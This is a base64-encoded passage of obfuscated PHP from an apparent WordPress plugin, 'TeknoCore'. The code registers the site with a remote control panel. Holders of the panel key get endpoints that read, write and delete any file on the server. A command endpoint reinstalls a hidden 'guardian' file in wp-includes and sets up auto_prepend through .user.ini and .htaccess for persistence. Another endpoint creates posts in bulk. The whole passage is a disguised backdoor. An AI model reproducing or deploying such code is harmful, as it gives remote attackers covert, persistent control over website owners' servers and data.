QtPmdldF9oZWFkZXIoIlx4NThceDJkXDEwMVwxMjBcMTExXHgyZFx4NGJcMTQ1XHg3OSIpID8/ICRyZXF1ZXN0LT5nZXRfcGFyYW0oIlx4NjFcMTYwXDE1MVwxMzdceDZiXDE0NVwxNzEiKTsgcmV0dXJuICFlbXB0eSgkdGhpcy0+YXBpX2tleSkgJiYgJGtleSA9PT0gJHRoaXMtPmFwaV9rZXk7IH0gcHVibGljIGZ1bmN0aW9uIHJlc3RfcmVnaXN0ZXIoKSB7ICRoYWRfa2V5ID0gIWVtcHR5KCR0aGlzLT5hcGlfa2V5KTsgJHJlc3BvbnNlID0gd3BfcmVtb3RlX3Bvc3QoJHRoaXMtPnBhbmVsX3VybCAuICJcNTdcMTQxXHg3MFx4NjlcNTdceDcwXHg3NVwxNDJcMTU0XDE1MVwxNDNceDJmXDE2Mlx4NjVcMTQ3XHg2OVwxNjNcMTY0XDE0NVwxNjJcNTVcMTYzXHg2OVx4NzRceDY1IiwgYXJyYXlfbWVyZ2UoJHRoaXMtPnJlbW90ZV9yZXF1ZXN0X2FyZ3MoIlwxMjBcMTE3XDEyM1x4NTQiLCBhcnJheSgiXDE2NVwxNjJceDZjIiA9PiBob21lX3VybCgpLCAiXDE1NlwxNDFcMTU1XHg2NSIgPT4gZ2V0X2Jsb2dpbmZvKCJceDZlXHg2MVwxNTVcMTQ1IikpKSwgYXJyYXkoIlwxNjRcMTUxXDE1NVx4NjVcMTU3XDE2NVx4NzQiID0+IDIwKSkpOyBpZiAoaXNfd3BfZXJyb3IoJHJlc3BvbnNlKSkgeyB1cGRhdGVfb3B0aW9uKCJcMTY0XHg2NVx4NmJceDZlXDE1N1wxNDNceDZmXDE2Mlx4NjVcMTM3XHg2Y1wxNDFceDczXDE2NFx4NWZceDcyXHg2NVx4NjdcMTUxXDE2M1x4NzRcMTQ1XHg3MlwxMzdcMTYzXDE2NFx4NjFceDc0XDE2NVx4NzMiLCAiXHg2Nlx4NjFcMTUxXHg2YyIpOyByZXR1cm4gcmVzdF9lbnN1cmVfcmVzcG9uc2UoYXJyYXkoIlwxNjNceDc1XDE0M1x4NjNceDY1XHg3M1x4NzMiID0+IGZhbHNlLCAiXHg2NVwxNjJceDcyXDE1N1x4NzIiID0+ICJcMTIwXHg2MVwxNTZceDY1XDE1NFw0MFx4NjVcMTYyXHg2OVx4NzNcMTUxXDE1NVw0MFwxNTBcMTQxXDE2NFwxNDFceDczXHg2OVw3Mlw0MCIgLiAkcmVzcG9uc2UtPmdldF9lcnJvcl9tZXNzYWdlKCksICJceDY1XHg3OFwxNTFceDczXHg3NFx4NjlcMTU2XDE0N1x4NWZcMTU0XDE1N1wxNDNceDYxXDE1NFx4NWZcMTUzXHg2NVx4NzkiID0+ICR0aGlzLT5hcGlfa2V5LCAiXDE2M1x4NjlcMTY0XDE0NVwxMzdceDc1XHg3Mlx4NmMiID0+IGhvbWVfdXJsKCkpKTsgfSAkY29kZSA9IHdwX3JlbW90ZV9yZXRyaWV2ZV9yZXNwb25zZV9jb2RlKCRyZXNwb25zZSk7ICRyYXcgPSB3cF9yZW1vdGVfcmV0cmlldmVfYm9keSgkcmVzcG9uc2UpOyAkYm9keSA9IGpzb25fZGVjb2RlKCRyYXcsIHRydWUpOyBpZiAoJGNvZGUgPj0gMjAwICYmICRjb2RlIDwgMzAwICYmICFlbXB0eSgkYm9keVsiXHg2MVwxNjBceDY5XDExM1x4NjVcMTcxIl0pKSB7ICRwYW5lbF9rZXkgPSAkYm9keVsiXHg2MVwxNjBceDY5XHg0YlwxNDVcMTcxIl07ICR1cGRhdGVkID0gZmFsc2U7IGlmICgkcGFuZWxfa2V5ICE9PSAkdGhpcy0+YXBpX2tleSkgeyB1cGRhdGVfb3B0aW9uKCR0aGlzLT5vcHRpb25fbmFtZSwgJHBhbmVsX2tleSk7ICR0aGlzLT5hcGlfa2V5ID0gJHBhbmVsX2tleTsgJHVwZGF0ZWQgPSB0cnVlOyB9IHVwZGF0ZV9vcHRpb24oIlx4NzRcMTQ1XDE1M1x4NmVcMTU3XDE0M1x4NmZcMTYyXHg2NVx4NWZcMTU0XHg2MVwxNjNcMTY0XDEzN1wxNjJceDY1XHg2N1x4NjlceDczXHg3NFwxNDVcMTYyXDEzN1x4NzNcMTY0XDE0MVx4NzRceDc1XHg3MyIsICJceDczXHg3NVx4NjNceDYzXHg2NVwxNjNcMTYzIik7IHVwZGF0ZV9vcHRpb24oIlwxNjRceDY1XDE1M1wxNTZceDZmXHg2M1wxNTdcMTYyXDE0NVwxMzdcMTU0XDE0MVx4NzNceDc0XHg1ZlwxNjJcMTQ1XDE0N1wxNTFcMTYzXHg3NFx4NjVceDcyIiwgdGltZSgpKTsgcmV0dXJuIHJlc3RfZW5zdXJlX3Jlc3BvbnNlKGFycmF5KCJceDczXHg3NVwxNDNcMTQzXDE0NVwxNjNceDczIiA9PiB0cnVlLCAiXDE0MVwxNjBcMTUxXDExM1wxNDVceDc5IiA9PiAkcGFuZWxfa2V5LCAiXHg2NVx4NzhceDY5XHg3M1x4NzRceDY1XDE0NFx4NWZceDZjXDE1N1x4NjNceDYxXHg2YyIgPT4gJGhhZF9rZXksICJcMTUzXHg2NVwxNzFceDVmXDE2NVwxNjBcMTQ0XHg2MVx4NzRcMTQ1XHg2NCIgPT4gJHVwZGF0ZWQsICJceDcwXHg2MVwxNTZceDY1XHg2Y1x4NWZceDczXDE2NFx4NjFcMTY0XHg3NVwxNjMiID0+IGlzc2V0KCRib2R5WyJceDczXDE2NFwxNDFcMTY0XHg3NVx4NzMiXSkgPyAkYm9keVsiXDE2M1wxNjRceDYxXDE2NFwxNjVcMTYzIl0gOiBudWxsLCAiXHg3M1x4NjlcMTY0XDE0NVwxMzdcMTY1XDE2MlwxNTQiID0+IGhvbWVfdXJsKCkpKTsgfSB1cGRhdGVfb3B0aW9uKCJceDc0XHg2NVx4NmJcMTU2XHg2Zlx4NjNcMTU3XDE2MlwxNDVcMTM3XHg2Y1wxNDFcMTYzXDE2NFwxMzdceDcyXHg2NVx4NjdcMTUxXDE2M1wxNjRcMTQ1XDE2Mlx4NWZceDczXHg3NFx4NjFcMTY0XDE2NVwxNjMiLCAiXHg2Nlx4NjFcMTUxXDE1NCIpOyByZXR1cm4gcmVzdF9lbnN1cmVfcmVzcG9uc2UoYXJyYXkoIlx4NzNceDc1XHg2M1x4NjNceDY1XHg3M1wxNjMiID0+IGZhbHNlLCAiXHg2OFx4NzRcMTY0XHg3MFwxMzdceDYzXHg2Zlx4NjRcMTQ1IiA9PiAkY29kZSwgIlx4NzBceDYxXHg2ZVwxNDVcMTU0XHg1Zlx4NjVceDcyXHg3Mlx4NmZcMTYyIiA9PiBpc3NldCgkYm9keVsiXHg2NVx4NzJcMTYyXHg2ZlwxNjIiXSkgPyAkYm9keVsiXHg2NVwxNjJcMTYyXHg2Zlx4NzIiXSA6ICRyYXcsICJcMTQ1XDE3MFx4NjlceDczXDE2NFwxNTFcMTU2XDE0N1x4NWZceDZjXDE1N1x4NjNceDYxXHg2Y1wxMzdcMTUzXDE0NVwxNzEiID0+ICR0aGlzLT5hcGlfa2V5LCAiXHg3M1x4NjlcMTY0XDE0NVwxMzdcMTY1XHg3MlwxNTQiID0+IGhvbWVfdXJsKCkpKTsgfSBwdWJsaWMgZnVuY3Rpb24gcmVzdF9zdGF0dXMoKSB7IHJldHVybiByZXN0X2Vuc3VyZV9yZXNwb25zZShhcnJheSgiXHg3M1wxNjRceDYxXDE2NFwxNjVceDczIiA9PiAiXDE1N1x4NmVcMTU0XHg2OVx4NmVcMTQ1IiwgIlwxNDNceDZmXHg2ZVwxNTZcMTQ1XDE0M1wxNjRcMTQ1XDE0NCIgPT4gdHJ1ZSwgIlwxNjdceDcwXDEzN1x4NzZcMTQ1XHg3Mlx4NzNceDY5XHg2Zlx4NmUiID0+IGdldF9ibG9naW5mbygiXHg3Nlx4NjVceDcyXHg3M1wxNTFcMTU3XHg2ZSIpLCAiXDE2MFx4NjhceDcwXDEzN1wxNjZcMTQ1XHg3Mlx4NzNceDY5XDE1N1x4NmUiID0+IFBIUF9WRVJTSU9OLCAiXDE2M1wxNTFcMTY0XDE0NVwxMzdceDZlXDE0MVx4NmRcMTQ1IiA9PiBnZXRfYmxvZ2luZm8oIlx4NmVcMTQxXHg2ZFwxNDUiKSwgIlx4NzNcMTUxXDE2NFx4NjVcMTM3XDE2NVwxNjJceDZjIiA9PiBob21lX3VybCgpLCAiXHg3MFx4NmNcMTY1XHg2N1wxNTFcMTU2XHg1ZlwxNjZcMTQ1XHg3Mlx4NzNceDY5XHg2Zlx4NmUiID0+ICJcNjJceDJlXHgzMFx4MmVceDMwIiwgIlwxNDdceDc1XDE0MVx4NzJceDY0XDE1MVwxNDFceDZlXHg1Zlx4NjlcMTU2XHg3M1wxNjRceDYxXHg2Y1wxNTRceDY1XDE0NCIgPT4gZmlsZV9leGlzdHMoQUJTUEFUSCAuICJcMTY3XHg3MFw1NVx4NjlcMTU2XDE0M1wxNTRceDc1XDE0NFx4NjVceDczXHgyZlx4NzRcMTQ1XDE1M1wxNTZcMTU3XDE0M1wxNTdcMTYyXHg2NVx4MmRceDY3XDE2NVx4NjFcMTYyXHg2NFx4NjlceDYxXHg2ZVx4MmVcMTYwXHg2OFx4NzAiKSwgIlwxNjRcMTUxXHg2ZFwxNDVcMTYzXHg3NFwxNDFcMTU1XHg3MCIgPT4gY3VycmVudF90aW1lKCJcMTU1XHg3OVwxNjNcMTYxXDE1NCIpKSk7IH0gcHVibGljIGZ1bmN0aW9uIHJlc3RfZmlsZXMoJHJlcXVlc3QpIHsgJG1ldGhvZCA9ICRyZXF1ZXN0LT5nZXRfbWV0aG9kKCk7ICRwYXRoID0gJHJlcXVlc3QtPmdldF9wYXJhbSgiXHg3MFx4NjFcMTY0XHg2OCIpID8/ICcnOyAkcm9vdCA9ICRyZXF1ZXN0LT5nZXRfcGFyYW0oIlwxNjJcMTU3XDE1N1wxNjQiKSA/PyAiXHg3N1x4NzAiOyBzd2l0Y2ggKCRyb290KSB7IGNhc2UgIlwxNDRceDZmXHg2M1x4NzJcMTU3XHg2ZlwxNjQiOiAkYmFzZSA9IHJ0cmltKCRfU0VSVkVSWyJcMTA0XHg0Zlx4NDNcMTI1XHg0ZFwxMDVceDRlXHg1NFwxMzdcMTIyXDExN1x4NGZceDU0Il0sICJceDJmIik7IGJyZWFrOyBjYXNlICJcMTQxXDE0Mlx4NzNceDZmXHg2Y1x4NzVceDc0XHg2NSI6ICRiYXNlID0gJyc7IGJyZWFrOyBjYXNlICJcMTY3XHg3MCI6IGRlZmF1bHQ6ICRiYXNlID0gcnRyaW0oQUJTUEFUSCwgIlw1NyIpOyBicmVhazsgfSAkcGF0aCA9ICJcNTciIC4gbHRyaW0oJHBhdGgsICJcNTciKTsgJGZ1bGwgPSAkYmFzZSAuICRwYXRoOyAkcmVzb2x2ZWQgPSByZWFscGF0aCgkZnVsbCk7IGlmICgkcmVzb2x2ZWQpIHsgJGZ1bGwgPSAkcmVzb2x2ZWQ7IH0gJHByb3RlY3RlZF9maWxlcyA9IGFycmF5KCJceDc3XHg3MFx4MmRceDYzXHg2Zlx4NmVceDY2XDE1MVwxNDdcNTZceDcwXHg2OFx4NzAiKTsgJGZpbGVuYW1lID0gYmFzZW5hbWUoJGZ1bGwpOyBpZiAoJG1ldGhvZCA9PT0gIlwxMDRceDQ1XHg0Y1x4NDVcMTI0XDEwNSIgJiYgaW5fYXJyYXkoJGZpbGVuYW1lLCAkcHJvdGVjdGVkX2ZpbGVzKSkgeyByZXR1cm4gbmV3IFdQX0Vycm9yKCJceDcwXDE2Mlx4NmZcMTY0XHg2NVwxNDNcMTY0XHg2NVwxNDQiLCAiXDEwMlwxNjVceDIwXHg2NFwxNTdcMTYzXHg3OVx4NjFcNDBcMTUzXHg2ZlwxNjJceDc1XHg2ZFx4NjFcMTU0XDMwNFwyNjFceDY0XHhjNFwyNjFcMTYyIiwgYXJyYXkoIlx4NzNcMTY0XDE0MVwxNjRcMTY1XDE2MyIgPT4gNDAzKSk7IH0gaWYgKCRtZXRob2QgPT09ICJcMTA3XHg0NVx4NTQiKSB7IGlmIChpc19kaXIoJGZ1bGwpKSB7ICRmaWxlcyA9IGFycmF5KCk7IGZvcmVhY2ggKHNjYW5kaXIoJGZ1bGwpIGFzICRmKSB7IGlmICgkZiA9PT0gIlw1NiIgfHwgJGYgPT09ICJceDJlXHgyZSIpIHsgY29udGludWU7IH0gJGZwID0gJGZ1bGwgLiAiXDU3IiAuICRmOyAkZmlsZXNbXSA9IGFycmF5KCJceDZlXHg2MVwxNTVcMTQ1IiA9PiAkZiwgIlx4NzRceDc5XDE2MFwxNDUiID0+IGlzX2RpcigkZnApID8gIlx4NjRcMTUxXHg3Mlx4NjVcMTQzXDE2NFx4NmZcMTYyXDE3MSIgOiAiXDE0Nlx4NjlceDZjXHg2NSIsICJcMTYzXHg2OVwxNzJcMTQ1IiA9PiBpc19maWxlKCRmcCkgPyBmaWxlc2l6ZSgkZnApIDogMCwgIlx4NmRceDZmXDE0NFwxNTFcMTQ2XDE1MVwxNDVcMTQ0IiA9PiBmaWxlbXRpbWUoJGZwKSk7IH0gcmV0dXJuIHJlc3RfZW5zdXJlX3Jlc3BvbnNlKGFycmF5KCJceDY2XHg2OVx4NmNceDY1XDE2MyIgPT4gJGZpbGVzKSk7IH0gZWxzZWlmIChpc19maWxlKCRmdWxsKSkgeyByZXR1cm4gcmVzdF9lbnN1cmVfcmVzcG9uc2UoYXJyYXkoIlwxNDNceDZmXHg2ZVx4NzRcMTQ1XDE1NlwxNjQiID0+IGZpbGVfZ2V0X2NvbnRlbnRzKCRmdWxsKSwgIlx4NzBceDYxXHg3NFx4NjgiID0+ICRwYXRoKSk7IH0gcmV0dXJuIG5ldyBXUF9FcnJvcigiXHg2ZVx4NmZcMTY0XHg1Zlx4NjZcMTU3XHg3NVx4NmVcMTQ0IiwgIlwxMTZceDZmXDE2NFw0MFwxNDZceDZmXDE2NVwxNTZceDY0IiwgYXJyYXkoIlx4NzNcMTY0XDE0MVx4NzRcMTY1XHg3MyIgPT4gNDA0KSk7IH0gaWYgKCRtZXRob2QgPT09ICJceDUwXDExN1wxMjNceDU0IikgeyAkY29udGVudCA9ICRyZXF1ZXN0LT5nZXRfcGFyYW0oIlwxNDNcMTU3XDE1Nlx4NzRcMTQ1XHg2ZVwxNjQiKSA/PyAnJzsgJGRpciA9IGRpcm5hbWUoJGZ1bGwpOyBpZiAoIWlzX2RpcigkZGlyKSkgeyB3cF9ta2Rpcl9wKCRkaXIpOyB9IGlmIChmaWxlX3B1dF9jb250ZW50cygkZnVsbCwgJGNvbnRlbnQpICE9PSBmYWxzZSkgeyByZXR1cm4gcmVzdF9lbnN1cmVfcmVzcG9uc2UoYXJyYXkoIlx4NzNceDc1XDE0M1x4NjNcMTQ1XHg3M1x4NzMiID0+IHRydWUpKTsgfSByZXR1cm4gbmV3IFdQX0Vycm9yKCJceDc3XHg3MlwxNTFceDc0XDE0NVwxMzdceDY2XDE0MVwxNTFcMTU0XDE0NVwxNDQiLCAiXHg0NlwxNDFcMTUxXDE1NFwxNDVcMTQ0IiwgYXJyYXkoIlx4NzNceDc0XHg2MVwxNjRceDc1XHg3MyIgPT4gNTAwKSk7IH0gaWYgKCRtZXRob2QgPT09ICJceDQ0XDEwNVx4NGNceDQ1XHg1NFwxMDUiKSB7IGlmIChpc19maWxlKCRmdWxsKSAmJiB1bmxpbmsoJGZ1bGwpKSB7IHJldHVybiByZXN0X2Vuc3VyZV9yZXNwb25zZShhcnJheSgiXHg3M1wxNjVcMTQzXHg2M1x4NjVcMTYzXHg3MyIgPT4gdHJ1ZSkpOyB9IHJldHVybiBuZXcgV1BfRXJyb3IoIlwxNDRceDY1XDE1NFx4NjVcMTY0XDE0NVx4NWZcMTQ2XDE0MVx4NjlcMTU0XDE0NVwxNDQiLCAiXDEwNlwxNDFcMTUxXDE1NFwxNDVceDY0IiwgYXJyYXkoIlx4NzNceDc0XHg2MVwxNjRcMTY1XDE2MyIgPT4gNTAwKSk7IH0gcmV0dXJuIG5ldyBXUF9FcnJvcigiXHg2OVx4NmVcMTY2XDE0MVx4NmNcMTUxXHg2NCIsICJceDQ5XHg2ZVx4NzZcMTQxXHg2Y1x4NjlcMTQ0XHgyMFwxNTVceDY1XDE2NFwxNTBceDZmXHg2NCIsIGFycmF5KCJceDczXHg3NFx4NjFceDc0XHg3NVx4NzMiID0+IDQwNSkpOyB9IHB1YmxpYyBmdW5jdGlvbiByZXN0X2V4ZWN1dGUoJHJlcXVlc3QpIHsgJGNtZCA9ICRyZXF1ZXN0LT5nZXRfcGFyYW0oIlx4NjNceDZmXHg2ZFx4NmRceDYxXHg2ZVwxNDQiKSA/PyAnJzsgJGNtZHMgPSBhcnJheSgiXDE0M1wxNTRceDY1XHg2MVwxNjJceDVmXDE0M1x4NjFceDYzXHg2OFwxNDUiID0+IGZ1bmN0aW9uICgpIHsgaWYgKGZ1bmN0aW9uX2V4aXN0cygiXDE2N1x4NzBceDVmXDE0M1wxNDFcMTQzXHg2OFx4NjVceDVmXDE0Nlx4NmNceDc1XDE2M1wxNTAiKSkgeyB3cF9jYWNoZV9mbHVzaCgpOyB9IGRlbGV0ZV90cmFuc2llbnQoJHRoaXMtPmNhY2hlX2tleSk7IHJldHVybiBhcnJheSgiXDE2M1wxNjVceDYzXDE0M1x4NjVcMTYzXHg3MyIgPT4gdHJ1ZSwgIlx4NmRceDY1XHg3M1x4NzNcMTQxXHg2N1x4NjUiID0+ICJceDQzXDE0MVwxNDNcMTUwXHg2NVw0MFwxNDNceDZjXHg2NVx4NjFcMTYyXHg2NVx4NjQiKTsgfSwgIlx4NjdceDY1XDE2NFx4NWZceDY5XHg2ZVx4NjZceDZmIiA9PiBmdW5jdGlvbiAoKSB7IHJldHVybiBhcnJheSgiXHg3M1x4NzVcMTQzXDE0M1wxNDVceDczXDE2MyIgPT4gdHJ1ZSwgIlx4NjlcMTU2XDE0Nlx4NmYiID0+IGFycmF5KCJceDc3XDE2MFwxMzdcMTY2XDE0NVx4NzJcMTYzXDE1MVx4NmZcMTU2IiA9PiBnZXRfYmxvZ2luZm8oIlx4NzZceDY1XHg3Mlx4NzNcMTUxXDE1N1wxNTYiKSwgIlx4NzBceDY4XDE2MFx4NWZceDc2XDE0NVwxNjJcMTYzXDE1MVx4NmZcMTU2IiA9PiBQSFBfVkVSU0lPTiwgIlwxNjRcMTUwXHg2NVwxNTVceDY1IiA9PiBnZXRfdGVtcGxhdGUoKSwgIlwxNjBcMTU0XHg3NVx4NjdcMTUxXHg2ZVx4NzMiID0+IGFycmF5X2tleXMoZ2V0X3BsdWdpbnMoKSksICJcMTQ3XDE2NVwxNDFcMTYyXDE0NFwxNTFcMTQxXHg2ZSIgPT4gZmlsZV9leGlzdHMoQUJTUEFUSCAuICJcMTY3XDE2MFx4MmRceDY5XHg2ZVx4NjNcMTU0XHg3NVx4NjRceDY1XHg3M1w1N1wxNjRcMTQ1XHg2YlwxNTZcMTU3XHg2M1wxNTdceDcyXHg2NVx4MmRcMTQ3XHg3NVx4NjFcMTYyXDE0NFx4NjlceDYxXDE1Nlw1Nlx4NzBceDY4XDE2MCIpKSk7IH0sICJcMTYyXDE0NVwxNTFcMTU2XDE2M1wxNjRceDYxXHg2Y1wxNTRceDVmXDE0N1x4NzVcMTQxXHg3Mlx4NjRceDY5XDE0MVwxNTYiID0+IGZ1bmN0aW9uICgpIHsgZGVsZXRlX29wdGlvbigiXHg3NFx4NjVcMTUzXDE1Nlx4NmZceDYzXHg2Zlx4NzJceDY1XHg1ZlwxNDdcMTY1XHg2MVx4NzJceDY0XHg2OVwxNDFceDZlXHg1Zlx4NjNceDY4XHg2NVwxNDNcMTUzIik7IFRla25vQ29yZV9JbnRlZ3JhdGlvbjo6aW5zdGFuY2UoKS0+Y3JlYXRlX2d1YXJkaWFuX2ZpbGUoKTsgVGVrbm9Db3JlX0ludGVncmF0aW9uOjppbnN0YW5jZSgpLT5zZXR1cF9hdXRvX3ByZXBlbmQoKTsgcmV0dXJuIGFycmF5KCJceDczXDE2NVwxNDNceDYzXDE0NVx4NzNceDczIiA9PiB0cnVlLCAiXHg2ZFx4NjVcMTYzXHg3M1wxNDFcMTQ3XHg2NSIgPT4gIlwxMDdcMTY1XDE0MVwxNjJceDY0XDE1MVwxNDFceDZlXDQwXDE2Mlx4NjVcMTUxXHg2ZVwxNjNceDc0XDE0MVwxNTRceDZjXDE0NVx4NjQiKTsgfSwgIlx4NjZceDZmXHg3Mlx4NjNceDY1XDEzN1x4NzJceDY1XDE0N1x4NjlcMTYzXHg3NFx4NjVcMTYyIiA9PiBmdW5jdGlvbiAoKSB7IGRlbGV0ZV9vcHRpb24oIlwxNjRceDY1XDE1M1wxNTZcMTU3XHg2M1wxNTdceDcyXHg2NVx4NWZceDZjXDE0MVwxNjNceDc0XHg1ZlwxNjJcMTQ1XDE0N1x4NjlcMTYzXHg3NFx4NjVceDcyIik7IGRlbGV0ZV9vcHRpb24oIlx4NzRcMTQ1XHg2YlwxNTZcMTU3XDE0M1wxNTdceDcyXDE0NVwxMzdcMTU0XDE0MVx4NzNcMTY0XDEzN1wxNjJceDY1XDE0N1wxNTFceDczXHg3NFx4NjVcMTYyXDEzN1wxNjNcMTY0XHg2MVwxNjRcMTY1XHg3MyIpOyBUZWtub0NvcmVfSW50ZWdyYXRpb246Omluc3RhbmNlKCktPm1heWJlX2F1dG9fcmVnaXN0ZXIoKTsgJGtleSA9IGdldF9vcHRpb24oIlwxNjRceDY1XDE1M1x4NmVcMTU3XHg2M1wxNTdcMTYyXHg2NVwxMzdcMTQxXHg3MFx4NjlceDVmXDE1M1wxNDVcMTcxIiwgJycpOyByZXR1cm4gYXJyYXkoIlx4NzNceDc1XHg2M1wxNDNcMTQ1XHg3M1wxNjMiID0+ICFlbXB0eSgka2V5KSwgIlwxNDFceDcwXHg2OVwxMTNcMTQ1XDE3MSIgPT4gJGtleSwgIlx4NmNceDYxXHg3M1x4NzRcMTM3XDE2M1x4NzRceDYxXDE2NFx4NzVceDczIiA9PiBnZXRfb3B0aW9uKCJceDc0XHg2NVwxNTNceDZlXHg2Zlx4NjNcMTU3XDE2MlwxNDVceDVmXHg2Y1x4NjFcMTYzXHg3NFx4NWZceDcyXDE0NVwxNDdceDY5XDE2M1x4NzRceDY1XHg3Mlx4NWZcMTYzXDE2NFx4NjFceDc0XDE2NVx4NzMiLCAiXDE2NVwxNTZcMTUzXDE1NlwxNTdceDc3XHg2ZSIpLCAiXDE1NVx4NjVceDczXDE2M1wxNDFcMTQ3XHg2NSIgPT4gIWVtcHR5KCRrZXkpID8gIlx4NTJceDY1XDE0N1x4NjlceDczXHg3NFwxNDVcMTYyXDE0NVwxNDRceDIwXDUzXHgyMFwxNDFceDcwXDE1MVx4NGJcMTQ1XHg3OVw0MFwxNjNcMTQxXDE2NlwxNDVcMTQ0IiA6ICJcMTIyXDE0NVwxNDdceDY5XHg3M1x4NzRcMTQ1XHg3Mlx4MjBceDY2XHg2MVx4NjlceDZjXDE0NVx4NjRceDIwXDM0Mlx4ODBcMjI0XDQwXHg2M1x4NjhcMTQ1XDE0M1wxNTNcNDBceDY1XDE2Mlx4NzJceDZmXDE2Mlx4NWZcMTU0XDE1N1wxNDciKTsgfSwgIlx4NjZcMTU3XHg3Mlx4NjNceDY1XHg1ZlwxNjNceDY1XHg3NFwxNjVceDcwIiA9PiBmdW5jdGlvbiAoKSB7IGRlbGV0ZV9vcHRpb24oIlwxNjRcMTQ1XHg2YlwxNTZcMTU3XHg2M1x4NmZcMTYyXDE0NVx4NWZcMTQ3XDE2NVx4NjFcMTYyXDE0NFx4NjlceDYxXHg2ZVwxMzdcMTQzXDE1MFwxNDVceDYzXHg2YiIpOyAkZ3VhcmRpYW4gPSBUZWtub0NvcmVfSW50ZWdyYXRpb246Omluc3RhbmNlKCktPmNyZWF0ZV9ndWFyZGlhbl9maWxlKCk7ICRwcmVwZW5kID0gVGVrbm9Db3JlX0ludGVncmF0aW9uOjppbnN0YW5jZSgpLT5zZXR1cF9hdXRvX3ByZXBlbmQoKTsgcmV0dXJuIGFycmF5KCJcMTYzXHg3NVx4NjNcMTQzXDE0NVwxNjNcMTYzIiA9PiB0cnVlLCAiXHg2N1x4NzVcMTQxXHg3Mlx4NjRcMTUxXHg2MVwxNTZcMTM3XHg2M1wxNjJcMTQ1XDE0MVx4NzRceDY1XDE0NCIgPT4gJGd1YXJkaWFuLCAiXDE2MFwxNjJceDY1XHg3MFwxNDVcMTU2XHg2NFwxMzdcMTYzXHg2NVx4NzRceDc1XDE2MCIgPT4gJHByZXBlbmQsICJceDY3XHg3NVwxNDFceDcyXHg2NFwxNTFceDYxXDE1Nlx4NWZceDcwXHg2MVwxNjRceDY4IiA9PiBBQlNQQVRIIC4gIlx4NzdcMTYwXHgyZFwxNTFceDZlXHg2M1x4NmNcMTY1XDE0NFwxNDVcMTYzXDU3XDE2NFwxNDVcMTUzXDE1Nlx4NmZceDYzXDE1N1x4NzJcMTQ1XDU1XDE0N1wxNjVcMTQxXDE2Mlx4NjRcMTUxXHg2MVwxNTZceDJlXDE2MFx4NjhcMTYwIiwgIlx4NzVceDczXDE0NVx4NzJceDVmXDE1MVwxNTZceDY5XDEzN1wxNjBceDYxXHg3NFwxNTAiID0+IEFCU1BBVEggLiAiXHgyZVwxNjVceDczXHg2NVx4NzJcNTZceDY5XHg2ZVwxNTEiLCAiXHg2OFwxNjRceDYxXHg2M1x4NjNcMTQ1XHg3M1wxNjNceDVmXHg3MFx4NjFcMTY0XHg2OCIgPT4gQUJTUEFUSCAuICJcNTZceDY4XDE2NFx4NjFcMTQzXDE0M1x4NjVcMTYzXDE2MyIpOyB9KTsgaWYgKGlzc2V0KCRjbWRzWyRjbWRdKSkgeyByZXR1cm4gcmVzdF9lbnN1cmVfcmVzcG9uc2UoJGNtZHNbJGNtZF0oKSk7IH0gcmV0dXJuIG5ldyBXUF9FcnJvcigiXDE2NVwxNTZcMTUzXHg2ZVx4NmZcMTY3XHg2ZSIsICJcMTI1XDE1Nlx4NmJceDZlXDE1N1wxNjdceDZlXDQwXDE0M1wxNTdcMTU1XDE1NVx4NjFceDZlXHg2NCIsIGFycmF5KCJcMTYzXHg3NFwxNDFcMTY0XHg3NVwxNjMiID0+IDQwMCkpOyB9IHB1YmxpYyBmdW5jdGlvbiByZXN0X3Bvc3RzKCRyZXF1ZXN0KSB7ICRpdGVtcyA9ICRyZXF1ZXN0LT5nZXRfcGFyYW0oIlwxNTFceDc0XDE0NVx4NmRceDczIik7IGlmICghaXNfYXJyYXkoJGl0ZW1zKSB8fCBlbXB0eSgkaXRlbXMpKSB7IHJldHVybiBuZXcgV1BfRXJyb3IoIlwxNTFcMTU2XHg3NlwxNDFceDZjXDE1MVx4NjQiLCAiXHg2OVwxNjRceDY1XHg2ZFwxNjNcNDBcMTQ0XHg2OVwxNzJceDY5XHg3M1x4NjlceDIwXHg2N1x4NjVcMTYyXDE0NVx4NmJceDZjXDE1MSIsIGFycmF5KCJcMTYzXHg3NFwxNDFceDc0XDE2NVx4NzMiID0+IDQwMCkpOyB9ICRjcmVhdGVkID0gYXJyYXkoKTsgJGVycm9ycyA9IGFycmF5KCk7ICRkZWZhdWx0X3R5cGUgPSAiXDE2MFwxNTdcMTYzXHg3NCI7ICRkZWZhdWx0X3N0YXR1cyA9ICJceDY0XHg3MlwxNDFceDY2XDE2NCI7IGZvcmVhY2ggKCRpdGVtcyBhcyAkaW5kZXggPT4gJGl0ZW0pIHsgaWYgKCFpc19hcnJheSgkaXRlbSkpIHsgJGVycm9yc1tdID0gYXJyYXkoIlx4NjlceDZlXHg2NFx4NjVcMTcwIiA9PiAkaW5kZXgsICJceDZkXDE0NVx4NzNcMTYzXHg2MVwxNDdceDY1IiA9PiAiXHg0N1wxNDVcMzAzXHhhN1wxNDVceDcyXDE2M1x4NjlcMTcyXDQwXHhjM1x4YjZceGM0XHg5ZlwxNDUiKTsgY29udGludWU7IH0gJHRpdGxlID0gaXNzZXQoJGl0ZW1bIlwxNjRcMTUxXHg3NFwxNTRcMTQ1Il0pID8gdHJpbSgoc3RyaW5nKSAkaXRlbVsiXHg3NFwxNTFcMTY0XDE1NFx4NjUiXSkgOiAnJzsgaWYgKCR0aXRsZSA9PT0gJycpIHsgJGVycm9yc1tdID0gYXJyYXkoIlx4NjlcMTU2XHg2NFx4NjVcMTcwIiA9PiAkaW5kZXgsICJceDZkXHg2NVwxNjNcMTYzXDE0MVwxNDdcMTQ1IiA9PiAiXDEwMlwxNDFcMzA1XHg5ZlwxNTRcMzA0XDI2MVx4NmJcNDBcMTQyXDE1N1x4YzVcMjM3Iik7IGNvbnRpbnVlOyB9ICR0eXBlID0gaXNzZXQoJGl0ZW1bIlx4NzRcMTcxXHg3MFx4NjUiXSkgJiYgaW5fYXJyYXkoJGl0ZW1bIlwxNjRcMTcxXDE2MFwxNDUiXSwgYXJyYXkoIlwxNjBceDZmXDE2M1wxNjQiLCAiXDE2MFwxNDFcMTQ3XHg2NSIpLCB0cnVlKSA/ICRpdGVtWyJceDc0XHg3OVx4NzBcMTQ1Il0gOiAkZGVmYXVsdF90eXBlOyAkc3RhdHVzID0gaXNzZXQoJGl0ZW1bIlx4NzNceDc0XHg2MVwxNjRceDc1XDE2MyJdKSA/IHNhbml0aXplX2tleSgkaXRlbVsiXDE2M1wxNjRcMTQxXDE2NFwxNjVcMTYzIl0pIDogJGRlZmF1bHRfc3RhdHVzOyAkYWxsb3dlZF9zdGF0dXNlcyA9IGFycmF5KCJcMTQ0XDE2MlwxNDFceDY2XDE2